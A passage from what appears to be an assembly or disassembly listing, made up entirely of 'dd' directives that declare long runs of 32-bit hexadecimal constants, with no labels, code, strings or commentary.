0EE16327Bh, 9BD9CEEh dd 658C81A1h, 0C0665E42h, 0C776E198h, 18C142Dh, 2AEE4F2Ch dd 6145008Dh, 12118CF4h, 0F46528A7h, 0F4CF9021h, 35DC3ED6h dd 7F4F19E6h, 0E2F41872h, 0C3C7A56Ch, 0A4A0BE72h, 5CD5236h dd 0BD761F80h, 494051D8h dd 52E341C7h, 2D5C8BD0h, 426E6F31h, 0D4AF5E49h, 44F78CE5h dd 98775493h, 6E477003h, 75CCEDEh, 5CF06270h, 57E78A9Fh dd 8B3266D5h, 64F3094Ch, 864A6106h, 0E8FA63CFh, 2D144476h dd 845A466h, 20DD215Bh, 0E32B9F3Dh, 0D96A8432h, 0D92845E2h dd 0E3037F1h, 0FCF33F92h, 2A04BAF3h, 2BA83096h, 9909D774h dd 0A373C447h, 0C3172B0Eh, 0E8321941h, 40CEFAFAh, 0E3C3243Fh dd 72E5FE93h, 9876D228h, 0BB0836D9h, 18CC3A17h, 7AF5B43Fh dd 0A2515D7Ch, 0F64131FCh, 0A34F5067h, 95C84D07h, 0AD8A8DB6h dd 7CE528BBh, 0D2769983h, 90A31E11h, 0C15EC7AEh, 7B272DA6h dd 0DE7BA8EDh, 0ED0A820Ch, 0CB98F59Fh, 0B5581260h, 0CBA0C2C1h dd 0C0A164F0h, 7B5290Dh, 0A4B5AE74h, 0EC833BF2h, 0FF3F005Bh dd 446A90D1h, 0D7CD2C81h, 9537877h, 0E4A32DC2h, 62FB996Eh dd 77A7AFD3h, 0DA39764Eh, 0F147DE09h, 0E6401418h, 562AF9F7h dd 582B0B39h, 61D9909Fh, 2C116C24h, 0D8CD3F0Eh, 0AB75EC65h dd 53EF6D61h, 0DFBD3267h, 0B541346h, 475C748Ah, 5948139Ch dd 0E4B58879h, 4557083Eh, 799F1F12h, 650D9D62h, 30AFCBDAh dd 62DED510h, 3E9C35CCh, 0CFAB682Ah, 2F56B96Ah, 0EC323A2Bh dd 30D53AB7h, 0ED506B3Ah, 30836F45h, 6F8EFE0Ah, 48276CD3h dd 0E00F78D3h, 0FF76ED5h, 0D275778Bh, 93158A66h, 4BCEFABEh dd 1DF51ADAh, 0A57F4556h, 38263DCBh, 2C52E3FFh, 0D60AC24Fh dd 0A8E5A807h, 99892AA7h, 0AD5C179h, 9F361818h, 73FBFDCEh dd 0B1A39B0Bh, 8EF7443Fh, 16FECB4Bh, 0E7768AE0h, 25ED2D89h dd 203461B0h, 0F27C7E46h, 0A5409F50h, 0DB1CDF86h, 0CF84FC19h dd 4C6DCF2Ch, 7BADC4FDh, 0ED052815h, 12A879FDh, 449CC0DBh dd 0E6FF1C8Eh, 0FA9FDEB2h, 0FB02A187h, 40A81EEEh, 7637DC8Ah dd 55EBA81Bh, 457F4CC7h, 0DC07E406h, 0DEDAFD96h, 0DD46EAB6h dd 6A37ECEAh, 0E673181Eh, 43F8774Dh, 0B80004F3h, 1EC8A052h dd 0B9EEAA4Ah, 0D1320B7Dh, 38838937h, 0F5AB45DCh, 0D82069EAh dd 0E11C829Eh, 37F67B1h, 9B4B914Dh, 99A234D8h, 84938DC4h dd 2774B771h, 23E4478h, 15867904h, 1573627Eh, 0AAD9AA0Eh dd 0D5FCF70Fh, 5BCE10EFh, 1555B123h, 1F62D5D1h, 56123407h dd 0B4134E9Fh, 7082281Eh, 80196E9Bh, 0EB1B86A2h, 7BEBBCB7h dd 546868Dh, 79D5AF8Ah, 0D3653F6Eh, 0DD63B9E7h, 8AD19859h dd 0D7D44BCFh, 0AA104DE6h, 0D1E0449Fh, 3B5C2521h, 0B89CB1ECh dd 32174737h, 18D23E70h, 6464C114h, 0D0DCDF9Ah, 984860FDh dd 8B747C5Ah, 2CF8104h, 0E44F729Eh, 93E35CCh, 4FC5BB0Eh dd 1FC073BFh, 9BC5352Dh, 69039DB0h, 9E685460h, 96F89178h dd 0D975CC76h, 0ED6E6545h, 0B9C42687h, 4529E320h, 0ACEE740Eh dd 0A50B5A2Bh, 66069956h, 6E427C69h, 4F35D3Ah, 85BD740Eh dd 53D00053h, 0DDE9209Bh, 47DBC001h, 16913E7Ah, 0DCD31FD0h dd 55688B6Ch, 0BDF6040Dh, 3A9486BFh, 51B1C55Ch, 0FDF67E8h dd 0AA274948h, 0EEB24DC4h, 0A8BA3918h, 47E16A11h, 9A9CEF0Ah dd 0A506BA31h, 0D646B094h, 0E198FEC1h, 0E31FF7CEh, 0CCB9584Fh dd 0B1408AE8h, 0C5AD72DBh, 0A1737A6Ch, 1027731Bh, 6C33B09Eh dd 714B84C5h, 6D518C3Ch, 0B2885A2h, 0B14044E0h, 82CF0E15h dd 6101C6D5h, 9D2589BCh, 9761635Fh, 67D050D9h, 0A31567CDh dd 5E15A3CAh, 0B79E0CD8h, 46AC9517h, 106E25D9h, 375E6FD4h dd 0CDBA478Ch, 0C8BFCF4Ch, 5F36238Dh, 0B8F01CCCh, 0CE13CAA8h dd 9FCE1F57h, 71AA2D03h, 13539B18h, 0CD725111h, 45D6C9Dh dd 9CC2DBBh, 6CAC7607h, 4C0EBE8Fh, 36173C29h, 0BD773A34h dd 0D122EE1Ah, 7E1AE490h, 2AA6447h, 6B76B4A6h, 63B8C90Dh dd 32BA4B7Eh, 0AE907652h, 815DEF0Dh, 26B87F4Fh, 0B079A52Eh dd 0D9C29A18h, 9F6A55B3h, 51980727h, 0C9770BC6h, 2E756AE0h dd 23AC28E7h, 0A8721960h, 19F1D5E5h, 0E269F3D0h, 7092D7A7h dd 4CAA72E7h, 16647709h, 22D0048Bh, 9B98FEAFh, 68B8838h dd 201D1132h, 85B2A212h, 27E7C713h, 0E58DCFF6h, 4D37877Bh dd 6255A38Ah, 291D0375h, 0FD583D21h, 24EC7D96h, 73DD919Ch dd 0DAC08D23h, 751CDE13h, 0C2C1C372h, 29BFF8D4h, 494C4717h dd 3D49F256h, 0F98EAA9Dh, 45CB4B8Dh, 89E131Ch, 0B36CB572h dd 0B2854DCCh, 77D038DAh, 0D3AB6FBDh, 7D4C745Ah, 0A63BCB38h dd 5CB51FA6h, 30CFD073h, 6E96127Eh, 0A43C105Ch, 0CA0174Eh dd 8389A85Ah, 0BDA17D0h, 0D59C292Ch, 40137CA0h, 4E05D4F2h dd 6A9F72C5h, 0F01A0124h, 0CA30FFFCh, 21EEEB2Fh, 0CAFB169Dh dd 0D5FC505h, 435161C6h, 0F2329DC9h, 0E8B0824h, 9BF30EFh dd 6D8FC164h, 0D5EB70CAh, 9A82816Bh, 0EC668E09h, 0C5BAAE3Bh dd 6D4D1E4Eh, 0A3095947h, 6343D41Eh, 0D339FD08h, 2CF7B5Ah dd 1001BE28h, 0C1F9ADC5h, 90014ABAh, 0DD934FEEh, 853E722Dh dd 871468F9h, 1FA91AC1h, 57BA6674h, 0A598240Eh, 0A62B341Eh dd 84943052h, 9C63A081h, 1525C0E4h, 0E4B1076Dh, 0F5CC0663h dd 0DB0570C6h, 486765BFh, 435AA0C4h, 0D32AF58Dh, 70334A84h dd 0A279F814h, 0B003499Bh, 0D075A592h, 0A13328ECh, 8854B54Fh dd 24216D8Dh, 545B94EFh, 4FF54726h, 800A3667h, 0D098B6B4h dd 0F86B0D6Fh, 122BBDC0h, 571FAB41h, 6F5EC3Dh, 0A7AFB0D1h dd 349AB029h, 4037F689h, 72CF69F7h, 0A20201DAh, 0EBBB06F4h dd 1FC1D65Ah, 6A5A3A03h, 0EC8E581Dh, 6BD15359h, 2BADF4C3h dd 0B68ED5DDh, 0F1C780E2h, 2A454E6Ah, 0ADE9BA4h, 83FD6D07h dd 753BEA13h, 0FA1D1D45h, 78E4EFE5h, 3A454A5Eh, 9C58ADAAh dd 44ABA401h, 87B67A28h, 4675272h, 19CB010Eh, 3CAFD8BEh dd 0E02937C5h, 0B2F7979Fh, 0CE40419Fh, 0A28FE2DDh, 698BE3B1h dd 4EABF49Ah, 33304CC2h, 0F7276258h, 0C644834Fh, 0D7A6AB5Fh dd 0BBCB512Eh, 0AAFD8B8Ah, 9BFC7243h, 9CE05608h, 93E7FAEBh dd 60086F56h, 466EDF98h, 0AEEE06D6h, 0C770435h, 0C1539A00h dd 127A9C84h, 832D9F5Bh, 6D36BC2Bh, 1C063687h, 12AD121Ch dd 13F64798h, 86C0C904h, 236A7E59h, 1DD0A251h, 277FEDA9h dd 0D1267B59h, 36B7AA6Eh, 0B92A6D3Ch, 13AFF709h, 94AD3A03h dd 0ACAF0100h, 1B232438h, 5E08A27Ah, 6CB0348Fh, 2BE450B2h dd 0F2C8BA47h, 0CED9FAAEh, 9A68EC7Ch, 42FF1D34h, 0D2042D37h dd 0C68F7349h, 7E7988BAh, 0D031B82Fh, 8D90013h, 0F6DE3AF9h dd 37449542h, 8B0CF73Bh, 185C8577h, 0B3683B1Bh, 71B85585h dd 748FD46Bh, 74DA71F8h, 62D38D08h, 477AF681h, 4F3C0603h dd 0BEAA5EACh, 0F663B505h, 5759D6ADh, 1C2C664Fh, 412D13D0h dd 93FB8265h, 0D9434887h, 1F680CD6h, 48851B9Bh, 0C719E3D0h dd 0C9C4CDh, 83778A2Ah, 0AE97E6Ah, 2CBA7FA6h, 0A9F8C1DDh dd 0F660D7A0h, 0E4E49876h, 4404B67Ch, 3C4E480Ch, 3413CCA8h dd 0E1559E7Bh, 38EA445h, 233CFD47h, 0E42341ADh, 0A6E22ED4h dd 0B1554382h, 0DBC07481h, 0D330242Ch, 0AD83EDB8h, 0A5539E17h dd 0ED346650h, 0E952D375h, 0BF400892h, 69DB956Bh, 0DF561A4Bh dd 440F55EEh, 0CD58D3C4h, 0C06E578h, 21B2C709h, 0D12FE5DEh dd 0CFADE6h, 2FBB4044h, 3147A30h, 23740CC8h, 0AA970582h dd 0AFA6E2FFh, 0B64C50BBh, 41666F67h, 4BE52AEh, 0A4BB718Bh dd 0D21E945Ah, 0BD96B63Bh, 0DD0BC3D6h, 0B1448451h, 0A31FEA4Ah dd 1587B2ABh, 7501632Bh, 127FEE49h, 2D92574Dh, 0DE1FD669h dd 0F2D8E287h, 6890C4F2h dd 9B05ECB7h, 64391E9Ch, 0C5CB85FAh, 90914BC1h, 42D63AF8h dd 7AA28DAEh, 54692293h, 55BA3D4h, 12A21288h, 974895D1h dd 0D72081E4h, 0E654480Bh, 66EDD013h, 9DCA9A42h, 96230426h dd 39AF33BAh, 0AD562A56h, 3D100FF1h, 2ABD2AFBh, 0E60DEA84h dd 42F4F5D2h, 2D6B22AEh, 0F6A1E0BEh, 5A87339Fh, 0B986B262h dd 28E80D8Ah, 0D7AE9060h, 0CE7FCC6Dh, 0DEACD7DDh, 1E109F8h dd 0F36104BFh, 9B3CAD2Ah, 583F0D5Ch, 22FE8273h, 93A33CB7h dd 6612D6E6h, 0CBAE4CE0h, 7BDC7A3Ah, 0E81E4DC3h, 7F7A9707h dd 716DB444h, 0CDE8D700h, 0ECFE76A4h, 85D1E2CFh, 0C754C672h dd 8EB9A366h, 0D78F6A1h, 116BD7B8h, 0FAA893D4h, 7B31D5BAh dd 86217719h, 8809B557h, 0C8FB90E5h, 4CCB4548h, 209B464Bh dd 78559041h, 276E514Ah, 0DBEDD39Eh, 0A716BF14h, 1D082DE0h dd 76212B2Ah, 0A5B3ACAFh, 71727C15h, 0B9CD37D5h, 0C3FBE5C7h dd 46AC7362h, 0F6FB7EABh, 0CEDB1591h, 0FEBDFB5Eh, 0F6082C03h dd 79C73B61h, 0D6460165h, 7BB88A4Eh, 24BA5673h, 6B932ADDh dd 29585C41h, 2AEF658Ah, 7EE4BF5Ah, 694E579Eh, 7166BF7Ah dd 8CBBB44Dh, 38621B33h, 0A9C09D46h, 7234AE1Bh, 44A7A05Ah dd 3D488EC2h, 8D5616A0h, 94EBB170h, 0C2E87A9Dh, 0D4254D73h dd 3C7D674Dh, 921AC133h, 0F100B237h, 5FADDB20h, 421FE10Dh dd 192F348Ch, 0A3D8603Ah, 37D35E93h, 1568664Fh, 0A46A1A0Fh dd 29B1C111h, 70B72EE0h, 0BCAEBB6Eh, 146386C8h, 863B29CCh dd 2C6482Dh, 237A764h, 0D26434D1h, 665F9D42h, 5CFB988h dd 0EF4E7659h, 2613ECA1h, 2FD39004h, 0D6686B56h, 2255A13Dh dd 0E773768Ch, 6D40297Fh, 6C968300h, 0CF452938h, 0D132D0C0h dd 5708531Bh, 6C1DD650h, 0B7C7CF8Fh, 0D444BBC0h, 9F2BD340h dd 94994B7h, 74FF921Eh, 0EDDD683Ch, 39771356h, 3A9ED108h dd 0E35E9EB4h, 0DE8B6CE1h, 571C00D6h, 0F964D835h, 678E8220h dd 7A30DC94h, 0E35B61C0h, 9342BDF8h, 46066250h, 3B00C2DFh dd 960C5BBEh, 0A3A63033h, 0EA903ED3h, 0AE2E2CD6h, 0B4BB5BD0h dd 0C36BBDDh, 5D88C412h, 0D3591117h, 1C38442Bh, 0AF2DE526h dd 8C12E9D3h, 673546Eh, 0C0E9FEA9h, 49C7C0A7h, 0A328B0B0h dd 0D21544EAh, 165D7EE3h, 0C566A24Eh, 86730998h, 7B920EADh dd 43A566C6h, 0A35100D5h, 60342FD4h, 0EE859B90h, 129E84B0h dd 8FE83AB6h, 5D91ABD9h, 3462CFE5h, 0A3F4854Dh, 6A22B90Fh dd 0B483DCAEh, 0A8374F1Dh, 0AB43EC10h, 12375E2Bh, 65836E5Ch dd 0C54CD6ECh, 0CD2D1AC6h, 0C577A606h, 8503741Bh, 414402F9h dd 0F2D1D739h, 0A5310EE0h, 0A8E20EB5h, 0B07BB353h, 0C1D834F9h dd 25A7DA26h, 30663h, 7FB8BD9h, 1E024230h, 9FFE55D3h, 46D55D27h dd 9DA09B13h, 71F2CA14h, 799D2AD9h, 5E7A5F60h, 2498A4E0h dd 67F3A645h, 0E3358307h, 9EE6CB0Ch, 6771A126h, 200F4DDAh dd 0DE160A83h, 0F3278D24h, 6A232294h, 55BAF83Fh, 0B3975C49h dd 8BCAC25Fh, 3111CF2Ch, 0D41601DCh, 0C0E6ED43h, 0BFB2B839h dd 9921EB28h, 0DD2C3F6Ah, 9BBC5CBh, 0ECCF25D9h, 0E8E8B4F7h dd 6413F656h, 85CD0CBBh, 58885FCCh, 0EF833AE6h, 0A5E4CE9Eh dd 0A61AB51h, 107F3A93h, 35E8D04Bh, 703F3259h, 1442CC77h dd 0C8516672h, 9E4006FDh, 0B17580F7h, 75A2D02Eh, 0EE4AC29Dh dd 60163D19h, 0F06FA66h, 8DF9C31Ah, 4E491E7Fh, 26F5F30Dh dd 806E4FD3h, 9C686245h, 0CD0488CAh, 6D4E9529h, 5410DBA6h dd 0E23D0CF8h, 0DE09BBD6h, 993E9378h, 28E5A87Ah, 85B65EA8h dd 0DD15B040h, 0CBFB2Ah, 14E20C2Bh, 0AA05ECA9h, 0CB089FEBh dd 0ED9C79BAh, 0F767CB13h, 36942DDh, 0FCB1FDBh, 0D702CA4Ch dd 52B83BF1h, 0F8ECC6F7h, 833258BBh, 711E6F77h, 66792730h dd 769B71C6h, 810E70EDh, 285AFFECh, 3CEF99E9h, 0BA76EA3Ah dd 26EA1EB2h, 567C0F9Fh, 0D0A3F79Eh, 5A52BC2Ah, 0D01ACCF0h dd 0B57903C4h, 0CB9E41C2h, 0BD892B92h, 0B7C21E3h, 345AE7BAh dd 7FAD1C2h, 5C3E6D60h, 0A4153991h, 785B336Ch, 3E387E36h dd 0DAFF1B68h, 7CDC67E5h, 2A9EE5E1h, 13BF3B36h, 13ACB655h dd 7C263610h, 3FE5AFD7h, 9874919Ch, 0F85BC48Ch, 1A6D1D77h dd 4AFECF2Ah, 5A34B76Dh, 45E0440Fh, 830CE14Bh, 0FF2B3C1Ch dd 27A3FDA6h, 0CD025E0Ah, 0CEDA6F2h, 0E050DA15h, 0AA8A2CD1h dd 69BDFE1h, 0DD919499h, 7A04A267h, 5E81E2Eh, 1300E0F2h dd 6024CF8Bh, 0B08DBEF6h, 53396AE1h, 0CF1E2C8h, 0A4C3C07h dd 0FE87894Fh, 0D497345Bh, 9D9E24B9h, 68D8EAA7h, 8D97D8F0h dd 29A88D4h, 49C49E1Bh, 0F0F2287Ch, 0D8D186D7h, 57F3BC27h dd 6514CFA5h, 1779F471h, 0AD22F068h, 6A45D2B1h, 0D48D9FFAh dd 0DF496F92h, 35D2219Dh, 5BDB306Eh, 0EDB8755Ah, 6949FAA3h dd 65AA222Eh, 6D1E13FBh, 6DA84DDDh, 0A760950Dh, 2538823Eh dd 9137E744h, 0D358EA37h, 7B314A20h, 0E1FCE060h, 0B4871E15h dd 496B5921h, 6E131E48h, 81F3F769h, 0F740CFACh, 0AE78B068h dd 0C48053B9h, 7F091DEh, 65B95A4Fh, 0D010C11Bh, 785AEDFDh dd 484425F4h, 2AFE0FFBh, 6FE2B19Fh, 7D328AD2h, 0A438BB1h dd 0E1A861BDh, 3A7DDBD4h, 2F2E80E2h, 55B34B8Eh, 79485307h dd 0E611DA27h, 0BFBFFC0Ah, 0ED7D9DFFh, 0DF5CE34Eh, 80970CD1h dd 949E4E34h, 340120ABh, 134927F1h, 6DE8D133h, 0E1F0AF4h dd 0FB306634h, 785637C7h, 8F37BD15h, 29BB7979h, 8DF86837h dd 0B91B5802h, 505F5D2Fh, 0E320C71Fh, 7010C4AAh, 0A6074C50h dd 4BE65204h, 0FF9AA621h, 0C86FA473h, 8229BC82h, 401E32FBh dd 0DECA35A8h, 55537705h, 22C17C1Ah, 0B0C0D47Eh, 0DA3E76B1h dd 534292CEh, 3950E7A0h, 0D580D205h, 784A3FE3h, 9E2F47C5h dd 9A382D5Fh, 0A9C41F3h, 0AB0ADF2Bh, 0D410AB9Ah, 3A3CE9B7h dd 922DBC1Bh, 0FD8A5446h, 0A5ADDEA2h, 0A2D36636h, 55F595F6h dd 56A3C6CFh, 686125CEh, 0C007FD0Ah, 0CF82462h, 6A0CC4A0h dd 6BE9F885h, 0B61E6CD6h, 4CDF414Eh, 60435CE1h, 7C20748Eh dd 424FF386h, 0F33A477Dh, 46D80Bh, 94D543B2h, 9043BEA8h dd 3490F079h, 0ECFA12h, 0C8B0B7CDh, 0C340A883h, 454FBD7Ch dd 0FA8A2A7Ch, 0AB1D441Eh, 0AEC769F2h, 0BB0CFF69h, 0D5ADB479h dd 8262E2CFh, 0D49A9430h, 554AF0BBh, 0A83C4F96h, 0FDEF86AFh dd 121BB547h, 2DA653CEh, 47B4E75Ah, 0EB4E42DAh, 1767AD84h dd 0FE6B67BBh, 0C54B876Ah, 56B3E664h, 2CA22CEh, 32A42469h dd 0EA0E1C2Ah, 246F5B61h, 0C3F800D5h, 649734F7h, 8C7DBB69h dd 5A05D7F3h, 0A175014Bh, 699FD82h, 33EFB6AAh, 21097CEh dd 5DE2FF38h, 255D15D3h, 0E7DD7538h, 0E2477C87h, 82AFB501h dd 21D4FD7Eh, 983B73D4h, 26EAA9F9h, 0AF695CD4h, 65EFA7B2h dd 98E739C0h, 112DC708h, 0B798965Ch, 89AA94E2h, 0DA982091h dd 391871B6h, 3EA5CBB6h, 98A3BCCEh, 0E548C782h, 0DB35543Ah dd 0F1D2F510h, 416FFD21h, 9AC3A8FEh, 12DF7DC1h, 0BEB7C9EEh dd 94C65538h, 7FE0E4A4h, 0F6194AC7h, 218DE69Ah, 0F3B08EEBh dd 0CC1FFAECh, 93E084h, 7480CCA2h, 0C363F3E0h, 0FC128FB8h dd 0C9DE8D20h, 5D41F067h, 0BE2DC777h, 2CD6F170h, 744EB73Ah dd 0A2C9D234h, 0B37636BDh, 0BB559979h, 868A90D7h, 6C490D85h dd 0C424576h, 5AD35B37h, 12CD83D3h, 12613B6Bh, 0A5B0FD69h dd 95CD55F1h, 0C4CA857Bh, 0D2EC3E40h, 0E5EA3592h, 52AA344Dh dd 0F1755411h dd 369561EDh, 0DD4FB58Ch, 519315C8h, 0F61636C3h, 54176027h dd 0F155D04Ch, 1DD3621h, 0D8EF719Ah, 509DF27Fh, 0A627602h dd 731288C3h, 936CE8D6h, 6EF0B214h, 0B200E0BDh, 0BBAD16C2h dd 0F965CC5Ch, 3369632Ch, 7C19F11h, 8F984B73h, 0E20E2Ch dd 7AF7DEDh, 0B6479E09h, 0C4069B1Fh, 61C1C3Ch, 590488A3h dd 105FC099h, 0A7D2F6B8h, 0B0E1DCFAh, 8D58656Ch, 0F1B89224h dd 272DF9F7h, 1E1F56DBh, 88B4F480h, 91A36DFBh, 15B161C6h dd 8EA4D2E0h, 48E509E2h, 2853E863h, 1BAE6279h, 6219C9B5h dd 0D2F7CD46h, 0BCE89317h, 0F5FFE607h, 0BEA2DC9Bh, 983ED2C7h dd 738A466Ah, 0B6643498h, 353B46F9h, 6A0A3641h, 0C9007DC7h dd 0F343FCh, 0AB8D5E69h, 30E1E43h, 44A9DF21h, 73DA1DBDh dd 3D358FDCh, 2652F086h, 75E9DB8Eh, 726B8C10h, 0EC078E8Eh dd 7BD2FB6Ch, 17A3C415h, 5407B7B0h, 82F82814h, 96D00D27h dd 5C581C8Eh, 7DB13261h, 35320165h, 0EFC34F9Ch, 4C51346Eh dd 9A071D35h, 0A5CC4496h, 0E92A1AD5h, 86C73392h, 7A20C768h dd 0A9A3FE6Bh, 0ECD5FD61h, 85B6AFAFh, 9D42027Fh, 8833F25Fh dd 0D26E3DB9h, 0A087E6D0h, 6FDA7B5Fh, 0A25A995Eh, 0AE10FDFEh dd 26F15589h, 0C2F85521h, 0D6B8AFE5h, 0E9204907h, 9B508254h dd 49D60EB2h, 0FFCCF6B8h, 0FCD12364h, 0EBFB09EFh, 0BA4D944Eh dd 8C24153Ah, 363BAF2Ah, 55C43B8Ah, 0B54C64B2h, 93372910h dd 27B051A0h, 21D26F60h, 709EE0Bh, 16FBE885h, 65AF4F34h dd 0F9C6E343h, 0A102095Ch, 2A0BA2B6h, 16A479CFh, 4B7BC69Fh dd 9242AF91h, 8131C0Fh, 0E0222834h, 0F403833Fh, 0D455727Ah dd 0C37E3EDDh, 0C6612664h, 0E2364276h, 0CE89A89Ch, 603F15D1h dd 0B71BDAC5h, 2962E2E2h, 964EE62Bh, 7E0FA3C4h, 5116C530h dd 6D4B2DB9h, 2CE65906h, 0DF765161h, 318C534Dh, 2B4C7CDBh dd 28AB47A5h, 0F18FF191h, 8A9F9FCAh, 4F08B1EBh, 53926395h dd 19124383h, 0FDC12CD5h, 73832955h, 18C55C3Dh, 0A3EF4CF5h dd 53482A45h, 3218A745h, 6DFE9B93h, 5F5C616Ah, 86569ED2h dd 6994044Eh, 136405F0h, 279FA6C2h, 0CB250087h, 5C538941h dd 49933817h, 0FA2B8DA0h, 0F4D6053h, 4DB7C1E9h, 564CA7E3h dd 3B8F10h, 0F17A62F8h, 0DF15D359h, 38560916h, 7C88DCC7h dd 3700043Eh, 4341021h, 70A39D7Fh, 0AF781E4Eh, 0BE5CC937h dd 0AC94FDB6h, 0E894A7F3h, 0D920458Ch, 0F6DB1865h, 54525BE4h dd 0B4E0C3DDh, 7C7AA0D9h, 5E8E0FCFh, 85C6C928h, 4BEE2Bh dd 57B9FFABh, 4317D12Fh, 97B5377Ah, 55346800h, 0C83EC0E5h dd 0B005D886h, 5476B784h, 40949ED5h, 0D08C7727h, 6653E59Bh dd 460D7482h, 93BD59Ah, 0F52614BBh, 0A3547DCEh, 0EEF2F211h dd 6D4780A0h, 6B4510D6h, 99CC1717h, 54D8B6C7h, 181BAA2Fh dd 0FE530A74h, 7D6CA83Ah, 2F6C182Fh, 0ACF12B63h, 0EEF92AB9h dd 0CD035B3Dh, 0A9449144h, 5746A7EDh, 9B59BC51h, 0DC1513B0h dd 0F3344C7Bh, 1914CE4Ch, 0E877977h, 0ECE7BCC7h, 54B8A52Ch dd 9048676Bh, 0ED8E882Ch, 50758E09h, 0D116A514h, 0DFFC810Bh dd 902D1FA1h, 0C3ED4F58h, 3D267461h, 89A6F54Bh, 6C604B36h dd 0E442548h, 0F6239382h, 0B451B0F8h, 0BDB7585Ch, 2609569Dh dd 37D9BABBh, 50536F40h, 7F17E513h, 6441812h, 0DF6C0DE3h dd 0FB4BAEDCh, 5BFB6972h, 12D11AB4h, 4750C41Dh, 5AD4679Fh dd 0B6F7CECDh, 0C43BAAD7h, 0D065DEACh, 895CF692h, 0BD5B983Ah dd 0F3FDCFF0h, 0D285957Eh, 0B7B3A875h, 805EE6C9h, 3F1DADBAh dd 0D4A935A1h, 103E14Eh, 0F7C00D6Bh, 5C7A0874h, 5E961157h dd 855A4896h, 0EFED0CF5h, 2596975Eh, 0CE9B3FFh, 0E5F43FAAh dd 47D0F0BCh, 0E86265E2h, 41224C4Bh, 4FE1D819h, 5388A467h dd 7F458947h, 847F77B0h, 459A5A46h, 0C6C3F5D1h, 1254A104h dd 2F72AFAh, 702621FFh, 86670306h, 0BFE114B3h, 7B7695E9h dd 1BD68280h, 3FA2A3C5h, 6B318C85h, 0F5ED4Ah, 169180C4h dd 32990EF7h, 203543C8h, 0B2DE01Dh, 0AB7254CAh, 262470C5h dd 0DF0990AFh, 70C7570Bh, 0DD8A19BDh, 12AB98B9h, 89367C37h dd 0A5AAC692h, 6312EBFh, 0BAADAF4Ch, 8E1D59A6h, 3542C1D5h dd 0F316AF4Bh, 0BC998C9Ah, 91E16403h, 6FD65EFBh, 7FE81131h dd 0B7222766h, 4A13CD54h, 0A4B024D8h, 0F2083DB6h, 7D4D6026h dd 1BD90EABh, 2A8D290h, 0BAE22B03h, 3081FD7Ah, 92DE56AEh dd 3AACA7E5h, 0D8704284h, 80ED91D5h, 59947858h, 0F1B37856h dd 5CDF7A0Dh, 2F1D00C7h, 69058AACh, 374F7625h, 67A1C7D5h dd 55B0BB96h, 65B80B5Dh, 6B764F03h, 0FF02D80Bh, 0BE9165C1h dd 1094FC49h, 186A8E6Dh, 0F118F97Dh, 47C8E11h, 33381921h dd 6710F06Bh, 5EEA626Ch, 700B8692h, 0E40D87ADh, 68BC6209h dd 6283C9C9h, 0D73893AAh, 660737FFh, 0EF1437DAh, 9F24A19Dh dd 8357E834h, 8E019828h, 79306CC0h, 0CDE0D858h, 82C09893h dd 0B3B69231h, 74AA43EFh, 357B0708h, 7062FA91h, 0DD553CE4h dd 8BF1C42Eh, 5FBA15h, 0C404A684h, 0FB5DE9E3h, 52786B8Ch dd 0FD713330h, 0CB126249h, 0ABDC7945h, 0ADA416DBh, 0ABB2084Ah dd 0F1BDE1Fh, 3B24ABDAh, 0EDEABCBh, 52E2B2A4h, 79DB9325h dd 0F460E7E9h, 0E8E8F8B7h, 17C3C755h, 93C38CD6h, 79AA2662h dd 952B3AD1h, 0D74F60A5h, 0CC1B7642h, 0E3BE75D4h, 0D5A7B06Ah dd 1FBA4C78h, 5B8EA112h, 0C8BBBA04h, 0E876323h, 0D6476285h dd 8BB5684h, 2683D4BEh, 9DDACB87h, 93ECC420h, 229AD840h dd 0BC0F97FBh, 1C301361h, 0C1F8EDA9h, 4EF46B0Bh, 2CFF4183h dd 0E1CB00E0h, 0FD9DF721h, 0A95A5F6Bh, 1145F668h, 57F3318Fh dd 6D05F1ABh, 8EEDA65Bh, 4D97EA10h, 0DA83FA1Ah, 0B92540B9h dd 0CF5BB973h, 167C3023h, 0AD53B331h, 2CDCE552h, 0D42AFD3Ah dd 0B7870474h, 173AD4AFh, 98AA3A19h, 9F2C5F33h, 351BB58h dd 5803E36Bh, 6856244Bh, 2B4E0C25h, 0E067ABA1h, 0E6050BFCh dd 20DF5F66h, 0D2CB7FF1h, 0A3B977D2h, 536CAD40h, 604E7C16h dd 0F06411A9h, 0F729574Dh, 95B0B576h, 0B137D115h, 0BDD9AD2Ah dd 35D800B7h, 813E021Dh, 503863C7h, 33C90B39h, 0A2421E03h dd 0C8B0F408h, 0F02CCF76h, 753CB72Eh, 0D64E7FD3h, 992DC5B2h dd 2968E1CFh, 7FE68E28h, 628E38Ch, 0C8267149h, 0CC51C7ADh dd 0D6011B67h, 1C4B8481h, 4986095Eh, 1FA6ECF1h, 742ADF89h dd 0C75D9A27h, 6B6B714Eh, 0D47A9AFAh, 79C72413h, 85B07D87h dd 5A6905E0h, 0FFE158DEh, 0FAD29540h, 7C75DEB9h, 0C7F3268Bh dd 0D68585BEh, 8BF47D80h, 0C4864FFBh, 694520ACh, 0BE28CE7Dh dd 3AD5A806h, 0F2542C9Eh, 0A86CC734h, 6F327D83h, 0FE812E00h dd 217D671h, 47523283h, 0CFA796BCh, 51F09B23h, 523FE3F4h dd 0D602D960h, 58D8E2DBh, 534BD6C6h, 46C5B46Eh, 0DE50E908h dd 0D6B3893Bh, 0CE9C2027h, 0DCC691AEh, 764A05A5h, 36E93EB8h dd 7E10F157h, 9F291D8Dh, 4082364Bh, 0B4F50C46h, 0BAEF4C3Fh dd 3F937453h, 3EDF875Dh, 0CDD24F2Eh, 279E3173h, 6FB744B8h dd 9D2FBF96h, 7FDBDBCCh, 38930FBBh, 7FC89A5Eh, 0AAE62BD5h dd 72FBC499h, 0A48D7C38h, 0AC140BDEh, 7415883Fh, 82319572h dd 25D21371h, 0A928F6A5h, 0F1804D57h, 84E78FBAh, 83028ABAh dd 0FE387144h, 0D541C87Eh, 0CDC47721h, 3087C808h, 0C821C55Ch dd 4CF17851h, 4A65E14Eh, 68FC3B4Eh, 6CAD1F6h, 10A60641h dd 4D5F0E50h, 1441883Fh dd 0A83F3A15h, 0D18DD15Ah, 0E06811C1h, 43AB1276h, 758158B1h dd 326D957Fh, 87C36AE3h, 7515B11Ah, 0FA7B6AEh, 1D914EB0h dd 0A08AEF03h, 642E5130h, 75F45370h, 6329C3D7h, 9EB4950Ch dd 1059FFF1h, 45AEA3EDh, 4ED99DECh, 91B992CCh, 0D441A7BDh dd 0E540EAE1h, 34690E18h, 0AD90C6C1h, 0AFD7C0h, 76F379Ah dd 68312182h, 343F709Ch, 0B8802E1Bh, 36FCBEF4h, 